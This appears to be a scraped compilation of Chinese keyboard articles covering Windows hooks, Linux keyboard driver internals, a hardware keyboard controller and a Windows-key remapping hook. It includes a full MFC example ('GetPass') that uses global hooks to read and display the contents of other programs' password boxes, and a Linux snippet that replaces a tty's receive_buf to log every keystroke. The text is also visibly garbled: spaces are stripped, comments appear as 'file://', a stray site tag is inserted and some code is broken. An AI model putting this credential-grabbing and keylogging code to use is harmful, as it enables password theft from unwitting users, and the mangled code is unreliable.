6、WH_JOURNALPLAYBACK回放用WH_JOURNALRECORD记录事件

7、WH_KEYBOARD键盘钩子

9、WH_KEYBOARD_LL低层键盘钩子

10、WH_MOUSE鼠标钩子

11、WH_MOUSE_LL底层鼠标钩子

12、WH_SHELL外壳钩子

13、WH_MSGFILTER和WH_SYSMSGFILTER使我们可以监视菜单,滚动条,消息框等

安装钩子:

调用函数SetWindowsHookEx安装钩子。其函数原型为:

HHOOKSetWindowsHookEx(intidHook,HOOKPROClpfn,INSTANCEhMod,DWORDdwThreadId)

idHook表示钩子类型,它是和钩子函数类型一一对应的。如,WH_KEYBOARD,WH_MOUSE。

Lpfn是钩子函数的地址。

HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。(系统钩子必须在DLL中)

dwThreadId指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL。

SetWindowsHookEx返回所安装的钩子句柄。

卸载钩子

调用函数BOOLUnhookWindowsHookEx(HHOOKhhk)卸载钩子

定义钩子函数

钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。一般为下:

LRESULTWINAPIMyHookProc(intnCode,WPARAMwParam,LPARAMlParam)

参数wParam和lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode包含有关消息本身的信,比如是否从消息队列中移出。

实例:

下面我们通过安装鼠标钩子。和键盘钩子还截获输入的密码,并可查看*密码为例,来说明何何使用钩子。

1,进入向导,新建MFCAppWizard(dll)取名为GetPass,选择MFCExtensionDLL,完成。

2,新建一个CGetPassHook类,基类:CObject,并加入StartHook,StopHook,函数,如下:

classAFX_EXT_CLASSCGetPassHook:publicCObject

{

public:

BOOLStopHook();

BOOLStartHook(HWNDhwnd);

CGetPassHook();

virtual~CGetPassHook();

};

3:加入全局共享数据,如下:

#pragmadata_seg("ShareData")

HHOOKhKeyBoardHook=NULL;file://keyboarhook

HHOOKhMouseHook=NULL;file://mousehook

HINSTANCEglhInstance=NULL;file://globleinstance

HWNDhOutPutWnd=NULL;file://DisplayPassWnd

#pragmadata_seg()

4:加入鼠标,键盘钩子处理函数,如下:

LRESULTWINAPIMouseHookProc(intnCode,WPARAMwParam,LPARAMlParam)

{file://鼠标钩子得理函数

LPMOUSEHOOKSTRUCTlpMouse=(MOUSEHOOKSTRUCTFAR*)lParam;

if(nCode>=0)

{

HWNDhTargetHwnd=lpMouse->hwnd;file://得到鼠标所在窗口句柄

if(hTargetHwnd)

{

LONGstyle=::GetWindowLong(hTargetHwnd,GWL_STYLE);file://得到它的样式

if(style&ES_PASSWORD)file://如果是密码框

{

charszPass[255];

::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);

file://得到密码

::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);

file://显示密码

}

}

}

returnCallNextHookEx(hMouseHook,nCode,wParam,lParam);

file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,

file://可以起到截儿消息的目的,我们这里调用之。

}

LRESULTWINAPIKeyBoardProc(intnCode,WPARAMwParam,LPARAMlParam)

{file://keyboardhookproc

if(nCode>=0)

{

HWNDhTargetHwnd=GetActiveWindow();file://getactivewindow

if(hTargetHwnd)

EnumChildWindows(hTargetHwnd,EnumWndProc,0);file://枚举所有窗口

}

returnCallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);

file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,

file://可以起到截儿消息的目的,我们这里调用之。

}

这里要介绍下EnumChildWindows函数,原形如下:

BOOLEnumChildWindows(HWNDhWndParent,WINDENUMPROClpEnumFunc,LPARAMlParam);

hWndParent:为枚举窗口的句柄

lpEnumFunc:枚举函数的地址,

lParam:这里为0

5:加入枚举窗口的函数。如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。

BOOLWINAPIEnumWndProc(HWNDhwnd,LPARAMlParam)

{file://enumthechildwindow,findpassedit

if(hwnd)

{

LONGstyle=::GetWindowLong(hwnd,GWL_STYLE);file://得到STYLE

if(style&ES_PASSWORD)file://是密码框

{

charszPass[255];

::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass);file://得到PASS

::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);file://显示

returnTRUE;

}

}

returnTRUE;

}

6:在DEF文件中定义段属性:(这步很重要)

SECTIONS

mydataREADWRITESHARED

7:完成StartHook,StopHook函数,启动/关闭钩子,如下:

BOOLCGetPassHook::StartHook(HWNDhwnd)

{file://installhoook

hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);

file://mousehook

hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);

file://keyboardhook

if(hMouseHook&&hKeyBoardHook)

{

hOutPutWnd=hwnd;file://显示密码的句柄

returnTRUE;

}

returnFALSE;

}

BOOLCGetPassHook::StopHook()

{file://unstallhook

BOOLmHook=UnhookWindowsHookEx(hMouseHook);

BOOLkHook=UnhookWindowsHookEx(hKeyBoardHook);

if(mHook&&kHook)

returnTRUE;

returnFALSE;

}

8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:

externHINSTANCEglhInstance;file://记得这里

extern"C"intAPIENTRY

DllMain(HINSTANCEhInstance,DWORDdwReason,LPVOIDlpReserved)

{

UNREFERENCED_PARAMETER(lpReserved);

if(dwReason==DLL_PROCESS_ATTACH)

{

TRACE0("GETPASS.DLLInitializing!\n");

if(!AfxInitExtensionModule(GetPassDLL,hInstance))

return0;

newCDynLinkLibrary(GetPassDLL);

glhInstance=hInstance;file://得到句柄

}

elseif(dwReason==DLL_PROCESS_DETACH)

{

TRACE0("GETPASS.DLLTerminating!\n");

AfxTermExtensionModule(GetPassDLL);

}

return1;//ok

}

9:编译,完成DLL部分,

下面建立APP部分。如下:

1:新建MFCAppWizard(exe)命名为GetPassWord,并在第一步中选择AddtoCurrentWorkSpace加入到当前工作区,这样方便。

2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在目录,然后Project->AddtoProject-->Files

选择这两个文件。

2:在主对话框中,加入一个EDIT,ID为IDC_EDIT_PASS

3:在CGetPassWordDlg.h中包含GetPassHook.h文件,声明一个对象。如下:

#include"GetPassHook.h"

classCGetPassWordDlg:publicCDialog

{

protected:

CGetPassHookm_hook;

。。。

DECLARE_MESSAGE_MAP()

};

4:在实现文件中:OnInitDialog()中起动HOOK

BOOLCGetPassWordDlg::OnInitDialog()

{

CWnd*pWnd=GetDlgItem(IDC_EDIT_PASS);

m_hook.StartHook(pWnd->GetSafeHwnd());file://installhook

returnTRUE;//returnTRUEunlessyousetthefocustoacontrol

}

5:加入WM_DESTROY消息,在退出程序时停止HOOK,如下:

voidCGetPassWordDlg::OnDestroy()

{

CDialog::OnDestroy();

m_hook.StopHook();file://stophook

}

6:将GetPass.dll拷贝到。EXE一个目录下,

键盘范文篇8

1引言

当前,由于Linux资源完全公开,使得Linux的发展日益广泛快速。基于Linux的各种应用已逐渐深入日常生活的方方面面,尤其是在嵌入式领域,由于内核可裁减定制,因此可随意地根据用户需求进行整个系统的定制与重构。其中,我们可以通过对各种标准外部设备的驱动进行改造,从而实现用户对标准设备的特定需求,例如可以通过对键盘的模拟来实现操作的自动化,从而可以避免重复的键盘操作。

2Linux内核支持的外部调用接口

由于Linux内核作为系统最深层次的核心,因此外部的开发人员并不能直接对内核进行操作。然而在一些应用程序的开发过程中,又不得不使用内核的某些功能,因此就提供了一些外部接口供开发人员直接与底层内核打交道。

2.1中断

在Linux下,硬件中断叫做IRQ(InterruptRequests)。有两种IRQ,短类型和长类型。短IRQ需要很短的时间,在此期间机器的其他部分被锁定,而且没有其他中断被处理。一个长IRQ需要较长的时间,在此期间可能发生其他中断(但不是发自同一个设备)。如果可能的话,最好把一个中段声明为长类型。如果CPU接到一个中断,它就会停止一切工作(除非它正在处理一个更重要的中断,在这种情况下要等到更重要的中断处理结束后才会处理这个中断),把相关的参数存储到栈里,然后调用中断处理程序。这意味着在中断处理程序本身中有些事情是不允许的,因为这时系统处在一个未知状态。解决这个问题的方法是让中断处理程序做需要马上做的事,通常是从硬件读取信息或给硬件发送信息,然后把对新信息的处理调度到以后去做。

实现的方法是在接到相关的IRQ(在Intel平台上有16个IRQ)时调用中断处理程序。这个函数接到IRQ号码、函数名、标志、一个/proc/interrupts的名字和传给中断处理程序的一个参数。标志中可以包括SA_SHIRQ来表明你希望和其他处理程序共享此IRQ(通常很多设备公用一个IRQ),或者一个SA_INTERRUPT表明这是一个紧急中断。这个函数仅在此IRQ没有其他处理程序或需要共享所有处理程序时才会成功运行。

2.2系统调用

系统调用发生在用户进程,通过一些特殊的函数来请求内核提供服务。这时,用户进程被挂起,内核验证用户请求,尝试执行并把结果反馈给用户进程,接着用户进程重新启动。一般当前系统的系统调用作为一张表sys_call_table进行定义的,是由指向实现各种系统调用的内核函数的函数指针组成的表。具体参数参见Linux内核源代码arch/i386/kernel/entry.S文件中:

ENTRY(sys_call_table)

llongSYMBOL_NAME(sys_ni_syscall)

/*0-old"setup()"systemcall*/

llongSYMBOL_NAME(sys_exit)

llongSYMBOL_NAME(sys_ni_syscall)

/*streams2*/

llongSYMBOL_NAME(sys_vfork)

/*190*/

2.3钩子函数

钩子(HOOK)是Linux系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子可以监视系统或进程中的各种事件消息,截获发往目标的消息并进行处理。这样就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。可见,利用钩子可以实现许多特殊而有用的功能。

3键盘工作机理

CPU对外部设备的管理是通过中断程序进行的,键盘也是一种外部设备,因此,CPU对键盘的管理也是通过中断进行的。当你击打键盘的时候,键盘控制器会向CPU提出中断申请,CPU响应此中断进行处理,这就完成了一次很简单与人之间通过键盘进行的交互。

首先,当输入一个键盘值的时候,键盘将会发送相应的scancodes给键盘驱动。一个独立的击键可以产生一个六个scancodes的队列。键盘驱动中的handle_scancode()函数解析scancodes流并通过kdb_translate()函数里的转换表(translation-table)将击键事件和键的释放事件(keyreleaseevents)转换成连续的keycode。例如,''''a''''的keycode是30。击键''''a''''的时候便会产生keycode30。释放a键的时候会产生keycode158(128+30)。

然后,这些keycode通过对keymap的查询被转换成相应key符号。获得的字符被送入rawtty队列—tty_flip_buffer。receive_buf()函数周期性的从tty_flip_buffer中获得字符,然后把这些字符送入ttyread队列。

当用户进程需要得到用户的输入的时候,它会在进程的标准输入(stdin)调用read()函数。sys_read()函数调用定义在相应的tty设备(如/dev/tty0)的file_operations结构中指向tty_read的read()函数来读取字符并且返回给用户进程。

4键盘模拟的实现

通常情况下,对键盘模拟的实现一般是通过写一个自己的键盘中断句柄来实现,但这种方法容易导致系统崩溃。因此,在这种方法的基础上可以利用勾子函数来实现。

如附图所示,这里主要用到的勾子函数包括handle_scancode(),put_queue(),receive_buf(),tty_read()和sys_read()等函数。

附图键盘驱动原理图

4.1handle_scancode函数

handle_scancode函数是键盘驱动程序中的一个入口函数(参见文件/usr/src/linux/drives/char/keyboard.c):

voidhandle_scancode(unsignedcharscancode,intdown);

这里通过替换原始的handle_scancode()函数来实现纪录所有的scancode。即将原始的值保存,把新的值注册进去,从而实现所需要的功能,最后再调用回到原始值的情况下。当此新的功能函数完成后,我们就可以记录下键盘上的正确的击键行为了(其中可以包括一些特殊的key,如ctrl,alt,shift,printscreen等等)。公务员之家

4.2put_queue函数

handle_scancode()函数会调用put_queue函数,用来将字符放入tty_queue。

put_queue函数在内核中定义如下:

voidput_queue(intch)

{

wake_up(&keypress_wait)

if(tty){

tty_insert_flip_char(tty,ch,0);

con_schedule_flip(tty);}}

4.3receive_buf函数

底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。参见/usr/src/linux/drivers/char/n_tty.c:

staticvoidn_tty_receive_buf(structtty_struct*tty,const

unsignedchar*cp,char*fp,intcount)

参数cp是一个指向设备接收的输入字符的buffer的指针。参数fp是一个指向一个标记字节指针的指针。在具体的实现中,先保存原始的ttyreceive_buf()函数,然后重置ldisc.receive_buf到自定义的new_receive_buf()函数来记录用户的输入。

例如:要记录在终端tty1设备上的输入。

intfd=open("/dev/tty1",O_RDONLY,0);

structfile*file=fget(fd);

structtty_struct*tty=file->private_data;

//保存原始的receive_buf()函数

old_receive_buf=tty->ldisc.receive_buf;

//替换成新的new_receive_buf函数

tty->ldisc.receive_buf=new_receive_buf;

//新的new_receive_buf函数

voidnew_receive_buf(structtty_struct*tty,constunsignedchar*cp,char*fp,intcount)

{

logging(tty,cp,count);

//纪录用户击键

/*调用回原来的receive_buf*/

(*old_receive_buf)(tty,cp,fp,count);

}

4.4tty_read函数

当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符时,tty_read函数就会被调用。参见文件/usr/src/linux/drives/char/tty_io.c:

staticssize_ttty_read(structfile*file,char*buf,size_tcount,

loff_t*ppos)

键盘范文篇9

关键词:键盘控制器在线可编程扫描线isp1016

1键盘控制器的外部接口信号

无论在任何计算机系统中,键盘都是最重要的输入设备,但是普通键盘不能满足机载要求。笔者在新一代电子航空图导航系统中,用Lattice公司的ispLSI1016设计了一个4×5键盘控制器(以下简称KBC),经实际应用,该键盘控制器通用性较强。图1是其键盘和显示器外观示意图。

一航情况下,KBC应该是CPU的一个外部I/O设备,它一方面监测各按钮状态,另一方面接受CPU的查询并主动向CPU请求中断。因此,外部接口信号分CPU接口信号和键盘按钮矩阵状态信号。图2为通用KBC外部接口信号示意图,其定义如下:

*Reset:复位,低有效。该信号有效时将异步复位内部所有寄存器,以对KBC进行初始化;

*CLK:工作时钟,频率为100kHz;

*CS:片选,低有效;

*RD:读信号,低有效;

*A0:片内地址,用于区分片内寄存器;

*INT:中断请求,高有效。当键盘控制器检测到有效按键时,该脚为高,当CPU读走按键编码时,KBC自动撤销中断请求;

*D4~D0:三态数据线;

*SL3~SL0:扫描输出,按键盘矩阵的列线;

*RL4~RL0:回复线,接键盘矩阵的行线。

实际上,大部分矩阵键盘的行列是可对换的。

2KBC接口寄存器定义及驱动程序

KBC针对CPU接口设计有2个只读寄存器,即数据寄存器(Dreg)和状态寄存器(Sreg)。数据寄存器用于保持有效按键的编码值,该编码值就是按键所在的行列;而状态寄存器则用于保持按键的状态信息,以供CPU查询。当CPU访问KBC时(即CS和RD同时有效),adkA0=0,则访问数据寄存器,否则访问状态寄存器。表1、表2分别是数据寄存器和状态寄存器的定义。

表1数据寄存器定义

D7D6D5D4D3D2D1D0

XXXCol(列值)Row(行值)

表2状态寄存器定义

D7D6D5D4D3D2D1D0

XXX0000

显然,KBC的编程可以有2种模式,一种是软件查询,另一种是中断驱动。由于本系统采用WindowNT为运行环境,KBC对应用程序透明,所以,将INT请求直接和CPU的某一空闲中断(IRQ9)相连接,以便使驱动程序能将KBC作为一个设备打开。在初始化加载时,应将对应中断触发设置为电平敏感。其VC核心代码如下:

#defineSReg0x401//键盘状态寄存器地址

#defineDReg0x400//键盘数据寄存器地址

BYTESR,Key,Row,Col;

SR=inp(SReg)&0x1f;

//读数据寄存器,低6位有效

Col=Key>>3;

//右移3位,提取按键列值

Row=Key&0x07;//提取按键行值

}

至此,就可根据Row和Col的值将它翻译为某一标准键,并存入NT键盘缓冲区。

3KBC内部逻辑设计

内部控制逻辑设计的关键是掌握按键识别原理。图3所示是其键盘识别原理图。设计时,可将按键设置在行线、列线的交点上。行线通过上拉电阻接到VCC(+5V),无按键时处于高电平。有按键时行线电平状态由列线决定。所有列线均为高则行线高,任一列线为低则行线低。KBC处理的核心就在于确认某一行线为低时,能定位出对应的列线。

3.1输出扫描线(SL3..SL0)

在设计输出扫描线时,可以使用一个2-Bit状态机Q5[L1..0]来依次轮流使扫描线输出为低电平。驱动时钟的周期为640ms,亦即每即扫描线持续640ms的低电平。将状态机的状态编码值和当前周期为低电平的扫描线序号对应起来,即可简化后续处理。图4是扫描线输出波形。注意,无论何种按键组合,在任一状态,有且仅有一个扫描线为低电平,否则后续处理将无法正确识别。

3.2键盘编码

处理回复线(RL4..RL0)时,应该对其中为低电平的行线进行编码。5个行线需要3-Bit寄存器,记为[RQ5..RQ0],其真值表如下:

[RL4..RL0]->[RQ2..0]

----------------

[H,H,H,H,L]->[0,0,0];0

[H,H,H,L,H]->[0,0,1];1

[H,H,L,H,H]->[0,1,0];2

[H,L,H,H,H]->[0,1,1];3

[L,H,H,H,H]->[1,0,0];4

当KBC确认是有效按键后,应把行列编码值放入缓冲,以供CPU读取,其逻辑表达如下:

式中,[KSL1,KSL0]是记录有效按键的扫描线编码,即当时的[QSL1..0]状态。

3.3CPU的读操作

CPU读状态寄存器时,系统把中断请求寄存器INT的值送出,而读数据寄存器时,它将把FIFO缓冲的按键值送出,处理CPU读操作的表达式如下:

[D4..D0].oe=!CS&!RD;//寄存器由三态控制

[D4..D0]=(!A0&[FIFO4..FIFO0])#//A0=0:送按键数据

(A0&[L,L,L,L,INT]);//A0=1;送状态

INT.ar=!Reset#(!CS&!RD&!A0);//读数据寄存器时应撤销中断

3.4键盘处理状态机

该状态处理机是KBC处理的核心。图5是其状态转移图,其驱动时钟应该比扫描周期快而且应该是它的整数倍。此处采用的80ms时钟周期是扫描周期的8倍。下面讨论其状态转移条件。

S0:复位状态

1.记录当前扫描周期

2.if若有低电平的回复线thenS1elseS0;

S1:

1.启动延时(去抖)计数器,延时10.24ms

2.无条件进入下一状态S2

S2:去抖状态

if去抖正确thenS3

elseS0

S3:确认状态

1.将有效键值打入FIFO缓冲

2.设置

键盘范文篇10

一、在WINDOWS键盘事件上挂接监控函数的方法

WINDOW下可进行挂接的过滤函数包括11种:

WH_CALLWNDPROC窗口函数的过滤函数

WH_CBT计算机培训过滤函数

WH_DEBUG调试过滤函数

WH_GETMESSAGE获取消息过滤函数

WH_HARDWARE硬件消息过滤函数

WH_JOURNALPLAYBACK消息重放过滤函数

WH_JOURNALRECORD消息记录过滤函数

WH_MOUSE鼠标过滤函数

WH_MSGFILTER消息过滤函数

WH_SYSMSGFILTER系统消息过滤函数

WH_KEYBOARD键盘过滤函数

其中键盘过滤函数是最常用最有用的过滤函数类型,不管是哪一种类型的过滤函数,其挂接的基本方法都是相同的。WINDOW调用挂接的反调函数时总是先调用挂接链首的那个函数,因此必须将键盘挂钩函数利用函数SetWindowsHookEx()将其挂接在函数链首。至于消息是否传递给函数链的下一个函数是由每个具体函数功能确定的,如果消息需要传统给下一个函数,可调用API函数的CallNextHookEx()来实现,如果不传递直接返回即可。挂接函数可以是用来监控所有线程消息的全局性函数,也可以是单独监控某一线程的局部性函数。如果挂接函数是局部函数,可以将它放到一个.DLL动态链接库中,也可以放在一个局部模块中;如果挂接函数是全局的,那么必须将其放在一个.DLL动态链接库中。挂接函数必须严格按照下述格式进行声明,以键盘挂钩函数为例:

intFARPASCALKeyboardProc(intnCode,WORDwParam,DWORDlParam)其中KeyboardProc为定义挂接函数名,该函数必须在模块定义文件中利用EXPORTS命令进行说明;nCode决定挂接函数是否对当前消息进行处理;wParam和lParam为具体的消息内容。

二、键盘事件挂接函数的安装与下载在程序中可以利用函数SetWindowsHookEx()来挂接过滤函数,在挂接函数时必须指出该挂接函数的类型、函数的入口地址以及函数是全局性的还是局部性的,挂接函数的具体调用格式如下:

SetWindowsHookEx(iType,iProc,hInst,iCode)其中iType为挂接函数类型,键盘类型为WH_KEYBOARD,iProc为挂接函数地址,hInst为挂接函数链接库实例句柄,iCode为监控代码-0表示全局性函数。如果挂接函数需要将消息传递给下一个过滤函数,则在该挂接函数返回前还需要调用一次CallNextHookEx()函数,当需要下载挂接函数时,只要调用一次UnhookWindowsHookEx(iProc)函数即可实现。如果函数是全局性的,那么它必须放在一个.DLL动态链接库中,这时该函数调用方法可以和其它普通.DLL函数一样有三种:

1.在DEF定义文件中直接用函数名或序号说明:EXPORTSWEP@1RESIDENTNAMEInitHooksDll@2InstallFilter@3KeyboardProc@4用序号说明格式为:链接库名.函数名(如本例中说明方法为KEYDLL.KeyboardProc)。

2.在应用程序中利用函数直接调用:首先在应用程序中利用LoadLibrary(LPSTR"链接库名")将动态链接库装入,并取得装载库模块句柄hInst,然后直接利用GetProcAddress(HINSTANCEhInst,LPSTR"函数过程名")获取函数地址,然后直接调用该地址即可,程序结束前利用函数FreeLibrary()释放装入的动态链接库即可。

3.利用输入库.LIB方法利用IMPLIB.EXE程序在建立动态链接库的同时建立相应的输入库.LIB,然后直接在项目文件中增加该输入库。

三、WINDOWS挂钩监控函数的实现步骤WINDOWS挂钩函数只有放在动态链接库DLL中才能实现所有事件的监控功能。在.DLL中形成挂钩监控函数基本方法及其基本结构如下:

1、首先声明DLL中的变量和过程;

2、然后编制DLL主模块LibMain(),建立模块实例;

3、建立系统退出DLL机制WEP()函数;

4、完成DLL初始化函数InitHooksDll(),传递主窗口程序句柄;

5、编制挂钩安装和下载函数InstallFilter();

6、编制挂钩函数KeyboardProc(),在其中设置监控功能,并确定继续调下一个钩子函数还是直接返回WINDOWS应用程序。

7、在WINDOWS主程序中需要初始化DLL并安装相应挂钩函数,由挂接的钩子函数负责与主程序通信;

8、在不需要监控时由下载功能卸掉挂接函数。

四、WINDOWS下键盘挂钩监控函数的应用技术目前标准的104键盘上都有两个特殊的按键,其上分别用WINDOW程序徽标和鼠标下拉列表标识,本文暂且分别称为Micro左键和Micro右键,前者用来模拟鼠标左键激活开始菜单,后者用来模拟鼠标右键激活属性菜单。这两个特殊按键只有在按下后立即抬起即完成CLICK过程才能实现其功能,并且没有和其它按键进行组合使用。由于WINDOWS系统中将按键划分得更加详细,使应用程序中很难灵活定义自己的专用快捷键,比如在开发.IME等应用程序时很难找到不与WORD8.0等其它应用程序冲突的功能按键。如果将标准104键盘中的这两个特殊按键作为模拟CTRL和ALT等专用按键,使其和其它按键组合,就可以在自己的应用程序中自由地设置专用功能键,为应用程序实现各种功能快捷键提供灵活性。正常情况下WINDOWS键盘事件驱动程序并不将这两个按键的消息进行正常解释,这就必须利用键盘事件的挂钩监控函数来实现其特定的功能。其方法如下:

1、首先编制如下一个简单动态链接库程序,并编译成DLL文件。#include"windows.h"

intFARPASCALLibMain(HANDLEhModule,UINTwDataSeg,UINTcbHeapSize,LPSTRlpszCmdLine);

intWINAPIWEP(intbSystemExit);

intWINAPIInitHooksDll(HWNDhwndMainWindow);

intWINAPIInstallFilter(BOOLnCode);

LRESULTCALLBACKKeyHook(intnCode,WORDwParam,DWORDlParam);

staticHANDLEhInstance;//全局句柄

staticHWNDhWndMain;//主窗口句柄

staticintInitCalled=0;//初始化标志

staticHHOOKhKeyHook;

FARPROClpfnKeyHook=(FARPROC)KeyHook;

BOOLHookStates=FALSE;

intFARPASCALLibMain(HANDLEhModule,UINTwDataSeg,UINTcbHeapSize,LPSTRlpszCmdLine)

{

if(cbHeapSize!=0)

UnlockData(0);

hInstance=hModule;

return1;

}

intWINAPIWEP(intbSystemExit)

{return1;}

intWINAPIInitHooksDll(HWNDhwndMainWindow)

{

hWndMain=hwndMainWindow;

InitCalled=1;

return(0);

}

intWINAPIInstallFilter(BOOLnCode)

{if(InitCalled==0)

return(-1);

if(nCode==TRUE)

{

hKeyHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)lpfnKeyHook,hInstance,0);

HookStates=TRUE;

}

else

{

UnhookWindowsHookEx(hKeyHook);

HookStates=FALSE;

}

return(0);

}

LRESULTCALLBACKKeyHook(intnCode,WORDwParam,DWORDlParam)

{

staticBOOLmsflag=FALSE;

if(nCode>=0)

{

if(HookStates==TRUE)

{

if((wParam==0xff)||//WIN3.X下按键值

(wParam==0x5b)||(wParam==0x5c)){//WIN95下按键值

if((i==0x15b)||(i==0x15c)){//按键按下处理

msflag=TRUE;

PostMessage(hWndMain,0x7fff,0x1,0x3L);

}

elseif((i==0xc15b)||(i==0xc15c)){//按键抬起处理msflag=FALSE;

PostMessage(hWndMain,0x7fff,0x2,0x3L);

}

}

}

}

return((int)CallNextHookEx

(hKeyHook,nCode,wParam,lParam));

}

该程序的主要功能是监控键盘按键消息,将两个特殊按键Micro按下和抬起消息转换成自定义类型的消息,并将自定义消息发送给应用程序主窗口函数。

2、在应用程序主函数中建立窗口后,调用InitHooksDll()函数来初始化动态链接库,并将应用程序主窗口句柄传递给链接库,然后调用InstallFilter()函数挂接键盘事件监控回调函数。

InitHooksDll(hIMEWnd);//初始化DLL

InstallFilter(TRUE);//安装键盘回调函数

3、在应用程序主窗口函数处理自定义消息时,保存Micro按键的状态,供组合按键处理时判断使用。

switch(iMessage)

{

case0x7fff://自定义消息类型

if(lParam==0x3L)

{//设置Micro键的状态

if(wParam==0x1)

MicroFlag=TRUE;

elseif(wParam==0x2)

MicroFlag=FALSE;

}

break;

4、在进行按键组合处理时,首先判断Micro键是否按下,然后再进行其它按键的判断处理。

caseWM_KEYDOWN://按键按下处理

if(MicroFlag==TRUE)

{

//Micro键按下

if((BYTE)HIBYTE(wParam)==0x5b)

{

//Micro+"["组合键......//按键功能处理}

elseif((BYTE)HIBYTE(wParam)==0x5d)

{

//Micro+"]"组合键......//按键功能处理}}break;